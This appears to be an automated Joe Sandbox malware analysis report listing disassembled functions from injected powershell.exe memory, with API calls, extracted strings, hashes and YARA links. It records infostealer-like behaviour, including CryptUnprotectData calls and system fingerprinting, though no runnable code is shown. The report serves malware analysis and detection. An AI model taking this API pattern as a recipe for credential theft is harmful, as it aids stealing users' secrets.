Function 075D10A0 Relevance: 6.7, Strings: 5, Instructions: 422COMMON

Download Yara Rule

Strings

4'dq, xrefs: 075D13A2
x.Wk, xrefs: 075D15D0
-Wk, xrefs: 075D161E
4'dq, xrefs: 075D13B8
h2Yk, xrefs: 075D4F4C

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$h2Yk$x.Wk$-Wk
API String ID: 0-2399227493
Opcode ID: 3701f7085ff8576033d71cb48345c2cd32ae70327ede5cbf3560024f3c98fd3f
Instruction ID: cbcf1a8a0974be98003558f5d6036249969933c64420838a66f96efdf07693dc
Opcode Fuzzy Hash: 3701f7085ff8576033d71cb48345c2cd32ae70327ede5cbf3560024f3c98fd3f
Instruction Fuzzy Hash: 7B0296B0A002198FDB24DB58C851BEDB7B6FF85304F1085A5D609AF741DB71AE81CF95

Function 07AEA570 Relevance: 6.5, Strings: 5, Instructions: 287COMMON

Download Yara Rule

Strings

$dq, xrefs: 07AEA60B
$dq, xrefs: 07AEA5E3
$dq, xrefs: 07AEA5FF
4'dq, xrefs: 07AEA627
4'dq, xrefs: 07AEA633

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$$dq$$dq$$dq
API String ID: 0-2509493698
Opcode ID: 083d589c2acba8e5a76ddfcabd27488462b1ca28ad31ff4c094536c9474b240e
Instruction ID: 313454a1767ee9c75e3b4cfa426ae1e5147eeef81dfa7bda4b7b0da959a10b5c
Opcode Fuzzy Hash: 083d589c2acba8e5a76ddfcabd27488462b1ca28ad31ff4c094536c9474b240e
Instruction Fuzzy Hash: 2691F4B5B042058FCB21DB69D4406BABBFAEFC6221F14C07AD565CB251DB32C946CBA1

Function 07AE330A Relevance: 6.4, Strings: 5, Instructions: 144COMMON

Download Yara Rule

Strings

4'dq, xrefs: 07AE34EA
$dq, xrefs: 07AE33CE
$dq, xrefs: 07AE349C
$dq, xrefs: 07AE3437
$dq, xrefs: 07AE3410

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$$dq$$dq$$dq$$dq
API String ID: 0-206161847
Opcode ID: 16909de5f2a8591713ad18c14369efecbca71d4a36f37a4f37de72beaddbab44
Instruction ID: 46129350d3d16aff1cc04c15fa09cf00b6bf26f4fa94c049493eeceafdac312a
Opcode Fuzzy Hash: 16909de5f2a8591713ad18c14369efecbca71d4a36f37a4f37de72beaddbab44
Instruction Fuzzy Hash: 2B51C7F061120BDFCF2ACF19D9046AA7BB9BF81352F1480A6E8258B291C735DD84CB61

Function 07AE9D7D Relevance: 6.4, Strings: 5, Instructions: 127COMMON

Download Yara Rule

Strings

(odq, xrefs: 07AE9DC0
84dl, xrefs: 07AE9EC8
(odq, xrefs: 07AE9DCC
4'dq, xrefs: 07AE9EE1
tPdq, xrefs: 07AE9F37

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: (odq$(odq$4'dq$84dl$tPdq
API String ID: 0-1847832596
Opcode ID: a6fb186c8e924ba12e1d69807956f7a61e707b9b0ea26c094fada00caa623762
Instruction ID: 4105be90568d21880374fa5f3188842e2c9032e82015e728c13e955bfa2efc4a
Opcode Fuzzy Hash: a6fb186c8e924ba12e1d69807956f7a61e707b9b0ea26c094fada00caa623762
Instruction Fuzzy Hash: E041FAB1A09345DFC711CB588544AABBFB6AFC6310F19C0AAE9249F292C771ED44C763

Function 07AE2368 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

4'dq, xrefs: 07AE24EA
$dq, xrefs: 07AE240E
$dq, xrefs: 07AE24BB
$dq, xrefs: 07AE242F
$dq, xrefs: 07AE2456

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$$dq$$dq$$dq$$dq
API String ID: 0-206161847
Opcode ID: 3f8d0b1ce73333466d9bb706a29c57fbbb4076691b273be768818cae5ab3f413
Instruction ID: ef256f44c392e594e0cecf67de2688cfe04a4c0ce1d9e6594e0a5f941bb4f3e5
Opcode Fuzzy Hash: 3f8d0b1ce73333466d9bb706a29c57fbbb4076691b273be768818cae5ab3f413
Instruction Fuzzy Hash: 47416AF0610A0ADFDB28CF19D9447AA37BEBB81311F548066E8258B1D1D775D984CB61

Function 07AE7648 Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

4'dq, xrefs: 07AE775F
Lfl, xrefs: 07AE772A
$dq, xrefs: 07AE76BB
Lfl, xrefs: 07AE769F
$dq, xrefs: 07AE76E0

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$$dq$$dq$Lfl$Lfl
API String ID: 0-281353100
Opcode ID: f855f0519dcf94aa1378002188809cbc79450173d23f8bf0482bfaecaa79ba18
Instruction ID: acd686587085475f3af6ddc97cdd1eee3950ac87836f263b15702c876feed72b
Opcode Fuzzy Hash: f855f0519dcf94aa1378002188809cbc79450173d23f8bf0482bfaecaa79ba18
Instruction Fuzzy Hash: 1121BFF6A10306DBDB24CF2AC64167A77BDABC8604F24407AC9248B244EB75C940CFA6

Function 077B1690 Relevance: 5.3, Strings: 4, Instructions: 345COMMON

Download Yara Rule

Strings

Hhq, xrefs: 077B19DB
Hhq, xrefs: 077B1A43
(hq, xrefs: 077B16EE
(hq, xrefs: 077B16C2

Memory Dump Source

Source File: 00000006.00000002.2675815829.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77b0000_powershell.jbxd

Similarity

API ID:
String ID: (hq$(hq$Hhq$Hhq
API String ID: 0-3970602178
Opcode ID: 2928507120ac78fea90ec50f47275d722f83c75a831152bf1803f7fc1f22636d
Instruction ID: e5350e1c11199404656863791f7885290fc899a6b749d6c2898dc673dd758d84
Opcode Fuzzy Hash: 2928507120ac78fea90ec50f47275d722f83c75a831152bf1803f7fc1f22636d
Instruction Fuzzy Hash: 7CD1E0B47002499FCB15DF29C494AEE7BA2FF85350F558969E8058F3A1CB30EC42CB91

Function 07AE3E80 Relevance: 5.3, Strings: 4, Instructions: 288COMMON

Download Yara Rule

Strings

84dl, xrefs: 07AE3EC0
tPdq, xrefs: 07AE3F23
84dl, xrefs: 07AE3ECA
tPdq, xrefs: 07AE3F17

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 84dl$84dl$tPdq$tPdq
API String ID: 0-3081460363
Opcode ID: 654b2630bac4c4999c6ecd62d42b2cc675470631f27b05bb6516ceafbf0f5abb
Instruction ID: c4d691e604ef44310b7776c1cb38d03f4f3c5bc26baad1540436535c272e447a
Opcode Fuzzy Hash: 654b2630bac4c4999c6ecd62d42b2cc675470631f27b05bb6516ceafbf0f5abb
Instruction Fuzzy Hash: FA914AB2B04245DFCF119F69941066BBBF9AFCA210F2480BBE955CF291DB31D941C7A1

Function 07AEE21D Relevance: 5.2, Strings: 4, Instructions: 210COMMON

Download Yara Rule

Strings

LRdq, xrefs: 07AEE359
84dl, xrefs: 07AEE431
LRdq, xrefs: 07AEE3B6
tPdq, xrefs: 07AEE483

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 84dl$LRdq$LRdq$tPdq
API String ID: 0-1490063149
Opcode ID: 4127c83f3b75184c47d2487362d2174a21f56b7bc37810195c9267d1215c793c
Instruction ID: 7800820da5213d1bfdfb3215ce2e7f292f3992df7c3b9252d640d4e514a4591a
Opcode Fuzzy Hash: 4127c83f3b75184c47d2487362d2174a21f56b7bc37810195c9267d1215c793c
Instruction Fuzzy Hash: 1A71D6B4704206DFEB24CF19C540AAA7BFABFC5710F18846AEC159B291D772DD40CBA5

Function 07AE9480 Relevance: 5.1, Strings: 4, Instructions: 130COMMON

Download Yara Rule

Strings

4'dq, xrefs: 07AE96A2
84dl, xrefs: 07AE9575
4'dq, xrefs: 07AE958E
tPdq, xrefs: 07AE95E2

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$84dl$tPdq
API String ID: 0-3913231027
Opcode ID: aa9cde423e464b8273c4bacc5b646c1b3d982835f35467c2c8fa54d9e25d6def
Instruction ID: e06a8a1dd81a7420a06c531af224c86b06c432d24d9300985563e8059fd0c2b4
Opcode Fuzzy Hash: aa9cde423e464b8273c4bacc5b646c1b3d982835f35467c2c8fa54d9e25d6def
Instruction Fuzzy Hash: F34162B0B003059BDB24CF59C554BABB7FAABC9710F18C066E8259B291D771EC45CB63

Function 07AE0750 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$dq, xrefs: 07AE07AC
$dq, xrefs: 07AE0762
$dq, xrefs: 07AE077E
$dq, xrefs: 07AE07B8

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: $dq$$dq$$dq$$dq
API String ID: 0-185584874
Opcode ID: bb86bd3116f3f45da17f8253d8be4868726241bc12de2e279c0dedd40b363eac
Instruction ID: 7d05443ea4f525f3044713d8a2a9222d0a79a0535fb7fa72ea86f1325d6c1320
Opcode Fuzzy Hash: bb86bd3116f3f45da17f8253d8be4868726241bc12de2e279c0dedd40b363eac
Instruction Fuzzy Hash: 552149B17103065BDB349A6D9840737B7AEDFC5712F34803AE519CB281DDB5C8418BA1

Function 07AE0309 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

$dq, xrefs: 07AE0352
4'dq, xrefs: 07AE037F
$dq, xrefs: 07AE035E
4'dq, xrefs: 07AE0373

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$$dq$$dq
API String ID: 0-4229963660
Opcode ID: 7852ee18b4a11d57e5f3b032508777a1f7633bedc2bc13a893eecafc554917e6
Instruction ID: 9be342ed279f8ec123f41ad169aec13f46507d44a281989e7e0e130c7fbafc59
Opcode Fuzzy Hash: 7852ee18b4a11d57e5f3b032508777a1f7633bedc2bc13a893eecafc554917e6
Instruction Fuzzy Hash: FF01F77171A3865FC72A566868212AB6FB69FC3510B3941ABD090CFAC3CD644D4583B7

Analysis Process: powershell.exePID: 8032, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	25.7%
Total number of Nodes:	292
Total number of Limit Nodes:	8

Executed Functions

Function 00437DF0 Relevance: 30.4, APIs: 12, Strings: 5, Instructions: 640
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00438034
SysAllocString.OLEAUT32()\"^), ref: 004380C3
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438101
SysAllocString.OLEAUT32()\"^), ref: 0043817E
SysAllocString.OLEAUT32()\"^), ref: 00438238
VariantInit.OLEAUT32(C7C6C5CC), ref: 004382A8
VariantClear.OLEAUT32(?), ref: 004383F9
SysFreeString.OLEAUT32(?), ref: 00438410
SysFreeString.OLEAUT32(?), ref: 0043841D
SysFreeString.OLEAUT32(?), ref: 00438423
SysFreeString.OLEAUT32(00000000), ref: 00438430
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,66966446,00000000,00000000,00000000,00000000), ref: 00438468

Strings

pq, xrefs: 004382E2
.H4J, xrefs: 0043805A
)\"^, xrefs: 004380BE, 004380C2, 0043817D, 00438237, 0043845B
P%R, xrefs: 0043804A
O@, xrefs: 0043806A

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: String$Free$Alloc$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: P%R$)\"^$.H4J$O@$pq
API String ID: 1341229144-1397720406
Opcode ID: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction ID: 8d1c6a9ba2bf63fa8fe487279597ba15b590cfaf954231a8494ef46f424a72d4
Opcode Fuzzy Hash: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction Fuzzy Hash: D022EFB2A483418BD314CF25C880B5BBBE5EFC9704F148A2DF5919B381E779D909CB96

Function 00423860 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Fg)i, xrefs: 00423E56
OU, xrefs: 00423CFC
/G$I, xrefs: 00423E16
WE, xrefs: 00423D04
A[, xrefs: 00423D14
7N1@, xrefs: 00423ED0, 00423EE1
{\}, xrefs: 00423E3E

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID:
String ID: /G$I$7N1@$A[$Fg)i$OU$WE${\}
API String ID: 0-1763234448
Opcode ID: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction ID: 056ee81575811c50f3dd50ebd9ce003cf240713406730f881528123b83eb6744
Opcode Fuzzy Hash: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction Fuzzy Hash: 2AF1CAB56083509FD3108F65E88276BBBF2FBD2345F54892DF0858B390D7B88906CB86

Function 00415799 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 492
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00415BAF

Strings

RXA, xrefs: 00415842
8MNO, xrefs: 00415C36
~, xrefs: 0041596E
<I2K, xrefs: 00415C2B
oA&C, xrefs: 00415CE6
NDNK, xrefs: 00415D85
X, xrefs: 00415DD2

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: 8MNO$<I2K$NDNK$RXA$X$oA&C$~
API String ID: 834300711-3328159043
Opcode ID: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction ID: b39a018424f603aff0b8ca9a117b68807cb953dc34c5f22e55a732b949ac1150
Opcode Fuzzy Hash: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction Fuzzy Hash: 90F125B6608740CFC720CF29D8817EBB7E1AFD5314F194A2EE4D997251EB389845CB86

Function 00408850 Relevance: 7.7, APIs: 5, Instructions: 194
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040891C
GetCurrentThreadId.KERNEL32 ref: 00408925
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004089DB
GetForegroundWindow.USER32 ref: 00408A33

Part of subcall function 0040C550: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Part of subcall function 0040B390: FreeLibrary.KERNEL32(00408AB8), ref: 0040B396
Part of subcall function 0040B390: FreeLibrary.KERNEL32 ref: 0040B3B7

ExitProcess.KERNEL32 ref: 00408AD1

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction ID: 4e8ceca9db94e69365d2c2d7f1aefafb9de861df3649afd20bfce81a3928f3be
Opcode Fuzzy Hash: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction Fuzzy Hash: 9351A9BBF102180BD71CAEAACD463A675878BC5710F1F813E5985EB7D6EDB88C0142C9

Function 0043C1F0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E31B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C21E

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00431715 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 154
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0043179A

Strings

^, xrefs: 0043185D
~, xrefs: 004318C1
Q, xrefs: 00431853
#, xrefs: 00431899
, xrefs: 0043183F
{, xrefs: 004318E1
G, xrefs: 004318A3
0, xrefs: 0043182B
], xrefs: 00431849
/, xrefs: 00431867
0, xrefs: 00431980
4, xrefs: 00431821
B, xrefs: 0043188F
;, xrefs: 00431817
n, xrefs: 004318D1
m, xrefs: 004318B7
O, xrefs: 0043187B
J, xrefs: 00431885
B, xrefs: 00431871
H, xrefs: 004318AD

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction ID: e2dddc40eb3f9dab4f65535c588d3d72a3f147e4bda3b82f36fbc837b78308fa
Opcode Fuzzy Hash: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction Fuzzy Hash: 8481066010CBC28AD322C63C881875FBFD15BE7224F184B9DE1F58B3E6D6A98146C767

Function 00430758 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00430761

Strings

0, xrefs: 0043090A

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: 3105f6317aa136daeee14573320fe7428ce014bf8f2ecab488f271abe27fc21a
Instruction ID: a094da954053901be58a768e712714aa916a7f14eaab1c75cde4f4bd701cd36d
Opcode Fuzzy Hash: 3105f6317aa136daeee14573320fe7428ce014bf8f2ecab488f271abe27fc21a
Instruction Fuzzy Hash: A571B260008BD28EC366CB3D89589057FA16B6B230B4A87D8E0FA4F7F7D265D506C766

Function 00436145 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436165

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction ID: 741c48333e69648009e785c6466c575ff7d71c05fd411e4f0ced63eefbf4b49a
Opcode Fuzzy Hash: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction Fuzzy Hash: 86115B32D052968FDB14CB3C8C502ADBFB15F8A320F1983EDD8A5A33D5D9304E428B51

Function 0043C2C8 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CCAF

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction ID: 8fb46afbfb550afb85baefcd5c24b2e1a72551ea741637eac68a3138d718cba2
Opcode Fuzzy Hash: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction Fuzzy Hash: 07F04CBAD005408BDB044B75CC821A67BA2DB5F320B18897DD441E3384C63C5807CB5D

Function 0043C180 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,0040B2E4,00000000,00000001), ref: 0043C1B2

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction ID: ec0cbf63999808cd9fde2cf832404b9ab0848eb4eaaead86bc709d6aa026588d
Opcode Fuzzy Hash: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction Fuzzy Hash: 59F0E977808211EBD2003F257C01A5736649F8F735F01587AFC0152112D739D422E6AF

Function 0043169A Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004316E1

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction ID: 88ab58616cf1dac6cba617d780c76543ffdeb80aa514c7c7d0db7b6f6353d972
Opcode Fuzzy Hash: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction Fuzzy Hash: 0FF09EB8509342CFD394DF64C5A875BBBE0EB89348F01891CE4998B391DBB59548CF82

Function 00430469 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004304AC

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction ID: d25a5440729caa6a4a41176679ca809818bf9cac461bb09e9bc77660d505e8e6
Opcode Fuzzy Hash: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction Fuzzy Hash: 56F0D4B45093019FD314DF29D16871ABBF4FB88304F01991CE49ACB790C7B5AA48CF82

Function 0040C550 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction ID: e03bcfaf696d6c281ff3d22d3b8d0c31e3889364fa9117d67ae1079de8c3c82d
Opcode Fuzzy Hash: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction Fuzzy Hash: 43D0A7B557050867D2086B1DDC4BF22772C8B83B66F50423DF2A7C61D1D9506A14CA79

Function 0040C583 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C595

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction ID: 58e2b5502705141ff0d3aa7c975cc0701997441b8ab7d7d43dac110591522243
Opcode Fuzzy Hash: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction Fuzzy Hash: F1D0C9B47D83407AF5749B08AC17F143210A702F56F740228B363FE2E0C9E172018A0C

Function 0043AAA0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C1D6,?,0040B2E4,00000000,00000001), ref: 0043AABE

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction ID: 16971ee2c2e030bf17817a0d81dc477e65560ccac1e7abaabcdfe7fdc6775186
Opcode Fuzzy Hash: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction Fuzzy Hash: B2D01231505522EBC6102F25FC06B863A58EF0E761F0748B1B4006B071C765ECA186D8

Non-executed Functions

Function 00426B50 Relevance: 30.2, APIs: 1, Strings: 16, Instructions: 439COMMON

Download Yara Rule

Strings

*W.Y, xrefs: 0042731F
;[0], xrefs: 0042732A
$&, xrefs: 004275AF
U'g), xrefs: 004272F3
FOEH, xrefs: 0042771E
w?n!, xrefs: 004272DD
NO, xrefs: 00427361
bweM, xrefs: 004276F0
{7y9, xrefs: 004272C7
>C7E, xrefs: 00427340
l+X-, xrefs: 004272FE
EG, xrefs: 0042740B
+K!M, xrefs: 00427356
!, xrefs: 00427452
